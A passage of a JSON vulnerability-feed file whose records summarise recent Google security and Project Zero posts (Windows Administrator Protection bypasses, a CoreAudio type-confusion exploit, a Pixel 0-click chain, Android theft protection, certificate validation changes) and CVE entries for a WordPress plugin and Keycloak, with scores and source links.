billion Android devices . In 2025, we blocked 266 million risky installation attempts and helped protect users from 872,000 unique, high-risk applications. \n\n In-call scam protection: We also introduced new protections to combat social engineering attacks during phone calls. This feature preemptively disables the ability to turn off Google Play Protect during phone calls, stopping bad actors from being able to trick users into disabling their device's built-in defenses to download a malicious app while on a call.\n\n Partnering with developers for a more secure, privacy-friendly future\n\nKeeping Android and Google Play safe requires deep collaboration. We want to thank our global developer community for their partnership and for sharing their feedback on the tools and support they need to succeed.\n\n In 2025, we focused on reducing friction for developers and providing them with tools to safeguard their businesses:\n\n Building safer apps more easily : We’re helping developers streamline their work by bringing insights directly into their natural workflows. It starts with Play Policy Insights in Android Studio , which gives developers real-time feedback as they code. We focused first on permissions and APIs that grant deeper system access or handle personal data, like location or photos. This gives developers a head start on policy requirements, including prominent disclosures or usage declarations, while they’re still building. When developers move to Play Console to prepare their apps for submission, our expanded pre-review checks help catch common reasons for rejection, like improper usage of credentials or permissions and broken privacy policy links, ensuring smoother, faster reviews.\n\n Stronger threat detection with Play Integrity API : Every day, apps and games make over 20 billion checks with Play Integrity API to protect against abuse and unauthorized access. In 2025, we added hardware-backed signals to make it even harder for bad actors to spoof devices and introduced new in-app prompts that let users fix common issues like network errors without leaving the app. We also launched device recall in beta to help developers identify repeat bad actors even after a device has been reset, all while protecting user privacy.\n\n Building trust through developer verification: We’ve seen how effective developer verification is on Google Play, and now we’re applying those lessons to the broader Android ecosystem. By ensuring there is a real, accountable identity behind every app, verification helps legitimize authentic developers and prevents bad actors from hiding behind anonymity to repeatedly cause harm. After gathering feedback during our early access period","action":"Read the exact official research article before applying its defensive techniques or drawing conclusions.","publishedAt":"2026-02-19T17:00:00.000Z","updatedAt":"2026-02-19T17:00:19.259Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Android"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Google Security Research: Keeping Google Play & Android app ecosystems safe in 2025","url":"https://security.googleblog.com/2026/02/keeping-google-play-android-app-ecosystem-safe-2025.html","type":"primary","publishedAt":"2026-02-19T17:00:00.000Z","checkedAt":"2026-10-26T18:35:55.322Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"Google Security Research syndication feed","url":"https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:35:55.322Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:35:55.322Z","reviewedAt":null},"reviewed":false},{"id":"project-zero-windows-administrator-protection-c89ad05b567c","cveId":null,"aliases":[],"kind":"advisory","title":"Bypassing Administrator Protection by Abusing UI Access","summary":"In my last blog post I introduced the new Windows feature, Administrator Protection and how it aimed to create a secure boundary for UAC where one didn’t exist. I described one of the ways I was able to bypass the feature before it was released. In total I found 9 bypasses during my research that have now all been fixed. In this blog post I wanted to describe the root cause of 5 of those 9 issues, specifically the implementation of UI Access, how this has been a long standing problem with UAC that’s been under-appreciated, and how it’s being fixed now. A Question of Accessibility Prior to Windows Vista any process running on a user’s desktop could control any window created by another, such as by sending window messages. This behavior could be abused if a privileged user, such as SYSTEM, displayed a user interface on the desktop. A limited user could control the UI and potentially elevate privileges. This was referred to as a Shatter Attack, and was usually fixed by removing user interface components from privileged code.","detail":"In my last blog post I introduced the new Windows feature, Administrator Protection and how it aimed to create a secure boundary for UAC where one didn’t exist. I described one of the ways I was able to bypass the feature before it was released. In total I found 9 bypasses during my research that have now all been fixed. In this blog post I wanted to describe the root cause of 5 of those 9 issues, specifically the implementation of UI Access, how this has been a long standing problem with UAC that’s been under-appreciated, and how it’s being fixed now. A Question of Accessibility Prior to Windows Vista any process running on a user’s desktop could control any window created by another, such as by sending window messages. This behavior could be abused if a privileged user, such as SYSTEM, displayed a user interface on the desktop. A limited user could control the UI and potentially elevate privileges. This was referred to as a Shatter Attack, and was usually fixed by removing user interface components from privileged code.\n\nThis is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.","action":"Read the exact official research article before applying its defensive techniques or drawing conclusions.","publishedAt":"2026-02-12T08:00:00.000Z","updatedAt":"2026-02-12T08:00:00.000Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Google Project Zero Research: Bypassing Administrator Protection by Abusing UI Access","url":"https://projectzero.google/2026/02/windows-administrator-protection.html","type":"primary","publishedAt":"2026-02-12T08:00:00.000Z","checkedAt":"2026-10-26T18:35:55.322Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"Google Project Zero Research syndication feed","url":"https://projectzero.google/feed.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:35:55.322Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:35:55.322Z","reviewedAt":null},"reviewed":false},{"id":"project-zero-sound-barrier-2-3bf1edc501a4","cveId":null,"aliases":[],"kind":"advisory","title":"Breaking the Sound Barrier, Part II: Exploiting CVE-2024-54529","summary":"In the first part of this series, I detailed my journey into macOS security research, which led to the discovery of a type confusion vulnerability (CVE-2024-54529) and a double-free vulnerability (CVE-2025-31235) in the coreaudiod system daemon through a process I call knowledge-driven fuzzing. While the first post focused on the process of finding the vulnerabilities, this post dives into the intricate process of exploiting the type confusion vulnerability. I’ll explain the technical details of turning a potentially exploitable crash into a working exploit: a journey filled with dead ends, creative problem solving, and ultimately, success. The Vulnerability: A Quick Recap If you haven’t already, I highly recommend reading my detailed writeup on this vulnerability before proceeding. As a refresher, CVE-2024-54529 is a type confusion vulnerability within the com.apple.audio.audiohald Mach service in the CoreAudio framework used by the coreaudiod process. Several Mach message handlers, such as _XIOContext_Fetch_Workgroup_Port, would fetch a HALS_Object from the Object Map based on an ID from the Mach message, and then perform operations on it, assuming it was of a specific type (ioct) without proper validation.","detail":"In the first part of this series, I detailed my journey into macOS security research, which led to the discovery of a type confusion vulnerability (CVE-2024-54529) and a double-free vulnerability (CVE-2025-31235) in the coreaudiod system daemon through a process I call knowledge-driven fuzzing. While the first post focused on the process of finding the vulnerabilities, this post dives into the intricate process of exploiting the type confusion vulnerability. I’ll explain the technical details of turning a potentially exploitable crash into a working exploit: a journey filled with dead ends, creative problem solving, and ultimately, success. The Vulnerability: A Quick Recap If you haven’t already, I highly recommend reading my detailed writeup on this vulnerability before proceeding. As a refresher, CVE-2024-54529 is a type confusion vulnerability within the com.apple.audio.audiohald Mach service in the CoreAudio framework used by the coreaudiod process. Several Mach message handlers, such as _XIOContext_Fetch_Workgroup_Port, would fetch a HALS_Object from the Object Map based on an ID from the Mach message, and then perform operations on it, assuming it was of a specific type (ioct) without proper validation.\n\nThis is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.","action":"Read the exact official research article before applying its defensive techniques or drawing conclusions.","publishedAt":"2026-01-30T08:00:00.000Z","updatedAt":"2026-01-30T08:00:00.000Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Google Project Zero Research: Breaking the Sound Barrier, Part II: Exploiting CVE-2024-54529","url":"https://projectzero.google/2026/01/sound-barrier-2.html","type":"primary","publishedAt":"2026-01-30T08:00:00.000Z","checkedAt":"2026-10-26T18:35:55.322Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"Google Project Zero Research syndication feed","url":"https://projectzero.google/feed.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:35:55.322Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:35:55.322Z","reviewedAt":null},"reviewed":false},{"id":"google-security-android-theft-protection-feature-updates-5b74faae6fcf","cveId":null,"aliases":[],"kind":"advisory","title":"New Android Theft Protection Feature Updates: Smarter, Stronger","summary":"Posted by Nataliya Stanetsky, Fabricio Ferracioli, Elliot Sisteron, Irene Ang of the Android Security Team \n\nPhone theft is more than just losing a device; it's a form of financial fraud that can leave you suddenly vulnerable to personal data and financial theft. That’s why we're committed to providing multi-layered defenses that help protect you before, during, and after a theft attempt.\n\nToday, we're announcing a powerful set of theft protection feature updates that build on our existing protections , designed to give you greater peace of mind by making your device a much harder target for criminals.\n\n Stronger Authentication Safeguards\n\nWe've expanded our security to protect you against an even wider range of threats. These updates are now available for Android devices running Android 16+.\n\n More User Control for Failed Authentications: In Android 15, we launched Failed Authentication Lock, a feature that automatically locks the device's screen after excessive failed authentication attempts. This feature is now getting a new dedicated enable/disable toggle in settings, giving you more granular control over your device's security.\n\n Expanding Identity Check to cover more: Early in 2025 , we enabled Identity Check for Android 15+, which requires the user to utilize biometrics when performing certain actions outside of trusted places. Later in the year, we extended this safeguard to cover all features and apps that use the Android Biometric Prompt. This means that critical tools that utilize Biometric Prompt, like third-party banking apps and Google Password Manager, now automatically benefit from the additional security of Identity Check.\n\n Stronger Protection Against Screen Lock Guessing: We’re making it much harder for a thief to guess your PIN, pattern, or password by increasing the lockout time after failed attempts. To ensure you aren’t locked out by mistake ( by a curious child , for instance), identical incorrect guesses no longer count toward your retry lim","detail":"Posted by Nataliya Stanetsky, Fabricio Ferracioli, Elliot Sisteron, Irene Ang of the Android Security Team \n\nPhone theft is more than just losing a device; it's a form of financial fraud that can leave you suddenly vulnerable to personal data and financial theft. That’s why we're committed to providing multi-layered defenses that help protect you before, during, and after a theft attempt.\n\nToday, we're announcing a powerful set of theft protection feature updates that build on our existing protections , designed to give you greater peace of mind by making your device a much harder target for criminals.\n\n Stronger Authentication Safeguards\n\nWe've expanded our security to protect you against an even wider range of threats. These updates are now available for Android devices running Android 16+.\n\n More User Control for Failed Authentications: In Android 15, we launched Failed Authentication Lock, a feature that automatically locks the device's screen after excessive failed authentication attempts. This feature is now getting a new dedicated enable/disable toggle in settings, giving you more granular control over your device's security.\n\n Expanding Identity Check to cover more: Early in 2025 , we enabled Identity Check for Android 15+, which requires the user to utilize biometrics when performing certain actions outside of trusted places. Later in the year, we extended this safeguard to cover all features and apps that use the Android Biometric Prompt. This means that critical tools that utilize Biometric Prompt, like third-party banking apps and Google Password Manager, now automatically benefit from the additional security of Identity Check.\n\n Stronger Protection Against Screen Lock Guessing: We’re making it much harder for a thief to guess your PIN, pattern, or password by increasing the lockout time after failed attempts. To ensure you aren’t locked out by mistake ( by a curious child , for instance), identical incorrect guesses no longer count toward your retry limit. \n\n Enhanced Recovery Tools\n\nWe're also enhancing our recovery tools to make them even more helpful. This update is now available for Android devices running Android 10+.\n\n More Control for Remote Lock. Remote Lock ( android.com/lock ) is a crucial tool that lets you lock your lost or stolen device from any web browser. We are adding a new optional security question/challenge to the process. This helps ensure that only you, the real device owner, can initiate a lock, adding another layer of security to your recovery flow.\n\n Proactive Protection: \"Default-On\" in Brazil\n\nKeeping our users safe is a top priority, which is why we're working to make theft protection available out-of-the-box for more Android users. For new Android devices activated in Brazil, two of our key theft protection features are now enabled by default:\n\n Theft Detection Lock: Uses on-device AI to sense motion and context that may indicate a \"snatch-and-run\" theft. If a theft attempt is detected, it will quickly lock the device screen to help protect your data.\n\n Remote Lock: Allows users to lock their device from any device that provides a web access to android.com/lock without the need to have enabled the feature in advance.\n\nThis helps ensure new devices have a critical layer of theft protection from day one.\n\n Continuing To innovate in Device Theft Protection\n\nWe’re always evolving our protections to stay one step ahead of thieves. Our ongoing updates help ensure that no matter where you go, you can have greater peace of mind knowing your device and data are protected by Android’s multi-layered defenses. Keep a lookout for even more Android theft protection updates.\n\nThis is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.","action":"Read the exact official research article before applying its defensive techniques or drawing conclusions.","publishedAt":"2026-01-27T16:59:00.000Z","updatedAt":"2026-01-27T16:59:53.534Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Android"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Google Security Research: New Android Theft Protection Feature Updates: Smarter, Stronger","url":"https://security.googleblog.com/2026/01/android-theft-protection-feature-updates.html","type":"primary","publishedAt":"2026-01-27T16:59:00.000Z","checkedAt":"2026-10-26T18:35:55.322Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"Google Security Research syndication feed","url":"https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:35:55.322Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:35:55.322Z","reviewedAt":null},"reviewed":false},{"id":"project-zero-windows-administrator-protection-0ba6cedb52a0","cveId":null,"aliases":[],"kind":"advisory","title":"Bypassing Windows Administrator Protection","summary":"A headline feature introduced in the latest release of Windows 11, 25H2 is Administrator Protection. The goal of this feature is to replace User Account Control (UAC) with a more robust and importantly, securable system to allow a local user to access administrator privileges only when necessary. This blog post will give a brief overview of the new feature, how it works and how it’s different from UAC. I’ll then describe some of the security research I undertook while it was in the insider preview builds on Windows 11. Finally I’ll detail one of the nine separate vulnerabilities that I found to bypass the feature to silently gain full administrator privileges. All the issues that I reported to Microsoft have been fixed, either prior to the feature being officially released (in optional update KB5067036) or as subsequent security bulletins. Note: As of 1st December 2025 the Administrator Protection feature has been disabled by Microsoft while an application compatibility issue is dealt with. The issue is unlikely to be related to anything described in this blog post so the analysis doesn’t change.","detail":"A headline feature introduced in the latest release of Windows 11, 25H2 is Administrator Protection. The goal of this feature is to replace User Account Control (UAC) with a more robust and importantly, securable system to allow a local user to access administrator privileges only when necessary. This blog post will give a brief overview of the new feature, how it works and how it’s different from UAC. I’ll then describe some of the security research I undertook while it was in the insider preview builds on Windows 11. Finally I’ll detail one of the nine separate vulnerabilities that I found to bypass the feature to silently gain full administrator privileges. All the issues that I reported to Microsoft have been fixed, either prior to the feature being officially released (in optional update KB5067036) or as subsequent security bulletins. Note: As of 1st December 2025 the Administrator Protection feature has been disabled by Microsoft while an application compatibility issue is dealt with. The issue is unlikely to be related to anything described in this blog post so the analysis doesn’t change.\n\nThis is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.","action":"Read the exact official research article before applying its defensive techniques or drawing conclusions.","publishedAt":"2026-01-26T08:00:00.000Z","updatedAt":"2026-01-26T08:00:00.000Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Google Project Zero Research: Bypassing Windows Administrator Protection","url":"https://projectzero.google/2026/26/windows-administrator-protection.html","type":"primary","publishedAt":"2026-01-26T08:00:00.000Z","checkedAt":"2026-10-26T18:35:55.322Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"Google Project Zero Research syndication feed","url":"https://projectzero.google/feed.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:35:55.322Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:35:55.322Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-69035","cveId":"CVE-2025-69035","aliases":[],"kind":"vulnerability","title":"Deserialization of Untrusted Data vulnerability in Strongholdthemes Dental Care CPT dentalcare-cpt allows Object Injection.This issue affects Dental Care CPT: from n/a before 21.6.","summary":"Deserialization of Untrusted Data vulnerability in Strongholdthemes Dental Care CPT dentalcare-cpt allows Object Injection.This issue affects Dental Care CPT: from n/a before 21.6.","detail":"Deserialization of Untrusted Data vulnerability in Strongholdthemes Dental Care CPT dentalcare-cpt allows Object Injection.This issue affects Dental Care CPT: from n/a before 21.6.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-01-22T17:16:16.477Z","updatedAt":"2026-10-26T16:17:09.567Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2025-69035","asOf":"2026-10-26T16:17:09.567Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2025-69035","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69035","type":"primary","publishedAt":"2026-01-22T17:16:16.477Z","checkedAt":"2026-10-26T17:20:56.094Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T17:20:56.094Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-0976","cveId":"CVE-2026-0976","aliases":["GHSA-v897-pv23-r8cw"],"kind":"vulnerability","title":"Keycloak has an improper input validation vulnerability","summary":"A flaw was found in Keycloak. This improper input validation vulnerability occurs because Keycloak accepts RFC-compliant matrix parameters in URL path segments, while common reverse proxy configurations may ignore or mishandle them. A remote attacker can craft requests to mask path segments, potentially bypassing proxy-level path filtering. This could expose administrative or sensitive endpoints that operators believe are not externally reachable.","detail":"A flaw was found in Keycloak. This improper input validation vulnerability occurs because Keycloak accepts RFC-compliant matrix parameters in URL path segments, while common reverse proxy configurations may ignore or mishandle them. A remote attacker can craft requests to mask path segments, potentially bypassing proxy-level path filtering. This could expose administrative or sensitive endpoints that operators believe are not externally reachable.\n\nAffected package ranges reported by GitHub:\norg.keycloak:keycloak-quarkus-server: <= 26.2.5","action":"Consult the exact GitHub advisory for affected versions, mitigation, and patch availability.","publishedAt":"2026-01-15T15:31:17.000Z","updatedAt":"2026-10-23T00:32:50.000Z","regions":["Global"],"vendor":null,"product":"org.keycloak:keycloak-quarkus-server","stacks":["Java packages (Maven)","org.keycloak:keycloak-quarkus-server","maven"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":3.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N","sourceUrl":"https://github.com/advisories/GHSA-v897-pv23-r8cw","asOf":"2026-10-23T00:32:50.000Z"},"epss":{"probability":0.00489,"percentile":0.41806,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-0976&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-v897-pv23-r8cw","url":"https://github.com/advisories/GHSA-v897-pv23-r8cw","type":"primary","publishedAt":"2026-01-15T15:31:17.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-v897-pv23-r8cw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-v897-pv23-r8cw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-v897-pv23-r8cw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-v897-pv23-r8cw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-v897-pv23-r8cw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-v897-pv23-r8cw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-v897-pv23-r8cw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-v897-pv23-r8cw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-v897-pv23-r8cw, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-0976&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-0976, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"project-zero-pixel-0-click-part-3-5efa0720e900","cveId":null,"aliases":[],"kind":"advisory","title":"A 0-click exploit chain for the Pixel 9 Part 3: Where do we go from here?","summary":"While our previous two blog posts provided technical recommendations for increasing the effort required by attackers to develop 0-click exploit chains, our experience finding, reporting and exploiting these vulnerabilities highlighted some broader issues in the Android ecosystem. This post describes the problems we encountered and recommendations for improvement. Audio Attack Surface The Dolby UDC is part of the 0-click attack surface of most Android devices because of audio transcription in the Google Messages application. Incoming audio messages are transcribed before a user interacts with the message. On Pixel 9, a second process com.google.android.tts also decodes incoming audio. Its purpose is not completely clear, but it seems to be related to making incoming messages searchable.","detail":"While our previous two blog posts provided technical recommendations for increasing the effort required by attackers to develop 0-click exploit chains, our experience finding, reporting and exploiting these vulnerabilities highlighted some broader issues in the Android ecosystem. This post describes the problems we encountered and recommendations for improvement. Audio Attack Surface The Dolby UDC is part of the 0-click attack surface of most Android devices because of audio transcription in the Google Messages application. Incoming audio messages are transcribed before a user interacts with the message. On Pixel 9, a second process com.google.android.tts also decodes incoming audio. Its purpose is not completely clear, but it seems to be related to making incoming messages searchable.\n\nThis is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.","action":"Read the exact official research article before applying its defensive techniques or drawing conclusions.","publishedAt":"2026-01-14T18:01:00.000Z","updatedAt":"2026-01-14T18:01:00.000Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Google Project Zero Research: A 0-click exploit chain for the Pixel 9 Part 3: Where do we go from here?","url":"https://projectzero.google/2026/01/pixel-0-click-part-3.html","type":"primary","publishedAt":"2026-01-14T18:01:00.000Z","checkedAt":"2026-10-26T18:35:55.322Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"Google Project Zero Research syndication feed","url":"https://projectzero.google/feed.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:35:55.322Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:35:55.322Z","reviewedAt":null},"reviewed":false},{"id":"google-security-https-certificate-industry-phasing-out-c06fe74ff2a8","cveId":null,"aliases":[],"kind":"advisory","title":"HTTPS certificate industry phasing out less secure domain validation methods","summary":"Posted by Chrome Root Program Team \n\nSecure connections are the backbone of the modern web, but a certificate is only as trustworthy as the validation process and issuance practices behind it. Recently, the Chrome Root Program and the CA/Browser Forum have taken decisive steps toward a more secure internet by adopting new security requirements for HTTPS certificate issuers.\n\nThese initiatives, driven by Ballots SC-080 , SC-090 , and SC-091 , will sunset 11 legacy methods for Domain Control Validation. By retiring these outdated practices, which rely on weaker verification signals like physical mail, phone calls, or emails, we are closing potential loopholes for attackers and pushing the ecosystem toward automated, cryptographically verifiable security.\n\nTo allow affected website operators to transition smoothly, the deprecation will be phased in, with its full security value realized by March 2028.\n\nThis effort is a key part of our public roadmap, “ Moving Forward, Together, ” launched in 2022. Our vision is to improve security by modernizing infrastructure and promoting agility through automation. While \"Moving Forward, Together\" sets the aspirational direction, the recent updates to the TLS Baseline Requirements turn that vision into policy. This builds on our momentum from earlier this year, including the successful advocacy for the adoption of other security enhancing initiatives as industry-wide standards.\n\n What’s Domain Control Validation? \n\nDomain Control Validation is a security-critical process designed to ensure certificates are only issued to the legitimate domain operator. This prevents unauthorized entities from obtaining a certificate for a domain they do not control. Without this check, an attacker could obtain a valid certificate for a legitimate website and use it to impersonate that site or intercept web traffic.\n\nBefore issuing a certificate, a Certification Authority (CA) must verify that the requestor legitimately controls the domain. Most mode","detail":"Posted by Chrome Root Program Team \n\nSecure connections are the backbone of the modern web, but a certificate is only as trustworthy as the validation process and issuance practices behind it. Recently, the Chrome Root Program and the CA/Browser Forum have taken decisive steps toward a more secure internet by adopting new security requirements for HTTPS certificate issuers.\n\nThese initiatives, driven by Ballots SC-080 , SC-090 , and SC-091 , will sunset 11 legacy methods for Domain Control Validation. By retiring these outdated practices, which rely on weaker verification signals like physical mail, phone calls, or emails, we are closing potential loopholes for attackers and pushing the ecosystem toward automated, cryptographically verifiable security.\n\nTo allow affected website operators to transition smoothly, the deprecation will be phased in, with its full security value realized by March 2028.\n\nThis effort is a key part of our public roadmap, “ Moving Forward, Together, ” launched in 2022. Our vision is to improve security by modernizing infrastructure and promoting agility through automation. While \"Moving Forward, Together\" sets the aspirational direction, the recent updates to the TLS Baseline Requirements turn that vision into policy. This builds on our momentum from earlier this year, including the successful advocacy for the adoption of other security enhancing initiatives as industry-wide standards.\n\n What’s Domain Control Validation? \n\nDomain Control Validation is a security-critical process designed to ensure certificates are only issued to the legitimate domain operator. This prevents unauthorized entities from obtaining a certificate for a domain they do not control. Without this check, an attacker could obtain a valid certificate for a legitimate 